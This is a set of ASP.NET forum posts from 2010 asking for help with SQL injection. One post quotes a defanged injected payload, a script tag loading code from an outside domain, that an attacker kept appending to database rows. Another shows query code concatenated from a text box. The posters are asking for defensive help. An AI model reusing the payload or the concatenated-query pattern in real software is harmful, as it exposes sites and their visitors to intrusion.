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sql Injection

Posted By:      Posted Date: August 26, 2010    Points: 0   Category :ASP.Net


In a Text field whatever I will enter after less than "<" symbol will disappear.

 So I am just replacing this symbol with a space, please let me know if there is any other desired output we need here.




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Hi All,

I am struggling with the problem since the last week. The apllication is built upon the follwing technologies - ASP.NET 1.1, SQL SERVER 2005, extensive use of JavaScript.

I saw last week that an unknown script was aapended to one or more columns of every row in some sertain tables. I removed that script but it re-appeared once again. The script looks something like this (PLEASE DO NOT CLICK ON THIS LINK....I DON'T KNOW WHAT IT WILL DO)</title><script src="http://google-stats50 . info /ur. php>".

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I want to know how to avoid sql injection in asp.net webforms??

if something is there like (select empid from emp where empid=textbox1.text) here the attacker can easily attack on the database,then how to write this same code to maintain security should we use query strings?? help me with this,thanks.

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